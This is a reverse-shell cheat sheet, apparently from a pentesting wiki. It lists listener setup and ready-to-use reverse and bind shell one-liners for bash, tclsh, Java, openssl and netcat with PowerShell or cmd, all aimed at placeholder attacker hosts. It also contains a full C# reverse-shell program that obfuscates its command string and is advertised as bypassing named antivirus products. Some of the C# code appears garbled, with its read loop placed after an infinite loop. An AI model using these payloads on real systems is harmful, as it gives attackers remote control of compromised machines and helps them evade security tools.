

Reverse shells

Listener

Before any reverse shell, you need to set up the listener, which will listen to a port and receive connections :

```
nc -lvvp <PORT>
```

Bash

In TCP :

```
bash -i >& /dev/tcp/<IP>/<PORT> 0>&1
exec 5<>/dev/tcp/<IP>/<PORT>; cat <&5 | while read line; do $line 2>&5 >&5; done

exec /bin/sh 0</dev/tcp/<IP>/<PORT> 1>&0 2>&0

0<&196; exec 196<>/dev/tcp/<IP>/<PORT>; sh <&196 >&196 2>&196
```

TCLsh

```
## /usr/bin/tclsh
set s [socket <IP> <PORT>];
while {42} {
  puts -nonewline $s "shell>";
  flush $s;
  gets $s c;
  set e "exec $c";
  if {![catch {set r [eval $e]} err]} {
```

```
puts $s $r;
}
flush $s;
}
close $s;
```

One-liner version :

```
echo 'set s [socket <IP> <PORT>];while 42 { puts -nonewline $s "shell>";flush $s;gets $s
c;set e "exec $c";if {[catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;'
| tcsh
```

Java

```
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5< >/dev/tcp/<IP>/<PORT>;cat <& 5 | while read line; do
\\$line 2>&5 >&5; done"] as String[])
p.waitFor()
```

On PWN'd Client

```
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <IP>:<PORT> >
/tmp/s; rm /tmp/s
```

C#

This is a simple C# source code to bypass almost "all" AVs (kaspersky v19, Eset v12 v13, Trend-Micro v16, Comodo and Windows Defender bypassed via this very simple method)

```
Step 1 (Linux Side: 192.168.56.1) : nc -l -p 443
```

Step 2 (Windows Side: 192.168.56.x) : NativePayload_ReverseShell.exe 192.168.56.1 443

```
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net.Sockets;
using System.Threading;
using System.IO;
using System.Diagnostics;

namespace NativePayload_ReverseShell
{
    class Program
    {
        public static StringBuilder _Liger = new StringBuilder();
        private static StreamWriter _LionTiger;
        static void Main(string[] args)
        {
            // Step 1 (linux Side: 192.168.56.1) : nc -l -p 443
            // Step 2 ( Windows Side: 192.168.56.x ) : NativePayload_ReverseShell.exe 192.168.56.1 443

            Console.WriteLine();
            Console.ForegroundColor = ConsoleColor.DarkGray;
            Console.WriteLine("NativePayload_ReverseShell , Published by Damon Mohammadbagher , 2018");
            Console.ForegroundColor = ConsoleColor.Gray;
            Console.WriteLine("NativePayload_ReverseShell , C# Managed Shell Code (Reverse Shell)");
            Console.WriteLine();

            try
            {
                using (TcpClient Simple = new TcpClient(args[0].ToString(), Convert.ToInt32(args[1])))
                {
                    Thread.Sleep(1100);
```

```

        using (Stream Very = Simple.GetStream())
        {
            using (StreamReader OoPS = new
StreamReader( Very))
            {
                _LionTiger = new StreamWriter( Very);
                Process _Tiger = new Process();
                Thread.Sleep( 3300);
                _Tiger.StartInfo.FileName = Convert.ToString("0123456789Cmd" +
"." + "e" + "XE l;X E f k X E sgkf;sk X E f s ; xefs;s").Substring(10,
8);

                _Tiger.StartInfo.CreateNoWindow =
true;

                _Tiger.StartInfo.UseShellExecute =
false;

                _Tiger.OutputDataReceived +=
_OutputDataReceived;

                _Tiger.StartInfo.RedirectStandardOutput =
true;

                _Tiger.StartInfo.RedirectStandardInput =
true;

                _Tiger.StartInfo.RedirectStandardError =
true;

                _Tiger.Start();
                _Tiger.BeginOutputReadLine();
                while (true)
                {
                    Thread.Sleep( 3000);

                }

                _Liger.Append( OoPS.ReadLine());

                _Tiger.StandardInput.WriteLine( _Liger);
                _Liger.Remove( 0, _Liger.Length);
            }
        }
    }
}

catch (Exception) { }

```

```

    }

    private static void _OutputDataReceived(object sender, DataReceivedEventArgs
echo)
    {
        StringBuilder strOutput = new StringBuilder();

        if (!String.IsNullOrEmpty(echo.Data))
        {
            try
            {
                strOutput.Append(echo.Data);
                _LionTiger.WriteLine(strOutput);
                _LionTiger.Flush();
            }
            catch (Exception err) { }
        }
    }
}
}
}

```

Reverse Powershell

```

#32bit
nc.exe $ATTACKER_HOST $ATTACKER_PORT -e powershell

#64bit
nc64.exe $ATTACKER_HOST $ATTACKER_PORT -e powershell

```

Reverse Windows

```

#32bit
nc.exe $ATTACKER_HOST $ATTACKER_PORT -e cmd

```

```
#64bit
```

```
nc64.exe $ATTACKER_HOST $ATTACKER_PORT -e cmd
```

Bind Powershell

```
#32bit
```

```
nc.exe -l -p $LISTENPORT -e powershell
```

```
#64bit
```

```
nc64.exe -l -p $LISTENPORT -e powershell
```

Revision #2

Created 23 September 2022 23:30:18 by mxrch

Updated 23 September 2022 23:34:22 by mxrch